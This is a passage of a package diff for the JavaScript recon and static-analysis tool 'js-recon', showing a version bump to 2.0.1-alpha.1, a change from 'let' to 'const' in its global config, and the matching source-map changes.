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"}
@@ -1,9 +1,9 @@
1
1
  const githubURL = "https://github.com/js-recon/js-recon";
2
2
  const modulesDocs = "https://js-recon.io/docs/category/modules";
3
- const version = "1.4.3";
3
+ const version = "2.0.1-alpha.1";
4
4
  const toolDesc = "JavaScript Enumeration and SAST";
5
5
  const axiosNonHttpMethods = ["isAxiosError"]; // methods available in axios, which are not for making HTTP requests
6
- let CONFIG = {
6
+ const CONFIG = {
7
7
  github: githubURL,
8
8
  modulesDocs: modulesDocs,
9
9
  notFoundMessage: `If you believe this is an error or is a new technology, please create an issue on ${githubURL} and we'll figure it out for you`,
@@ -1 +1 @@
1
- {"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,OAAO,CAAC;AACxB,MAAM,QAAQ,GAAG,iCAAiC,CAAC;AACnD,MAAM,mBAAmB,GAAG,CAAC,cAAc,CAAC,CAAC,CAAC,qEAAqE;AAEnH,IAAI,MAAM,GAAG;IACT,MAAM,EAAE,SAAS;IACjB,WAAW,EAAE,WAAW;IACxB,eAAe,EAAE,qFAAqF,SAAS,kCAAkC;IACjJ,OAAO,EAAE,OAAO;IAChB,QAAQ,EAAE,QAAQ;IAClB,mBAAmB,EAAE,mBAAmB;IACxC,QAAQ,EAAE,GAAG,SAAS,oBAAoB;CAC7C,CAAC;AAEF,eAAe,MAAM,CAAC"}
1
+ {"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,eAAe,CAAC;AAChC,MAAM,QAAQ,GAAG,iCAAiC,CAAC;AACnD,MAAM,mBAAmB,GAAG,CAAC,cAAc,CAAC,CAAC,CAAC,qEAAqE;AAEnH,MAAM,MAAM,GAAG;IACX,MAAM,EAAE,SAAS;IACjB,WAAW,EAAE,WAAW;IACxB,eAAe,EAAE,qFAAqF,SAAS,kCAAkC;IACjJ,OAAO,EAAE,OAAO;IAChB,QAAQ,EAAE,QAAQ;IAClB,mBAAmB,EAAE,mBAAmB;IACxC,QAAQ,EAAE,GAAG,SAAS,oBAAoB;CAC7C,CAAC;AAEF,eAAe,MAAM,CAAC"}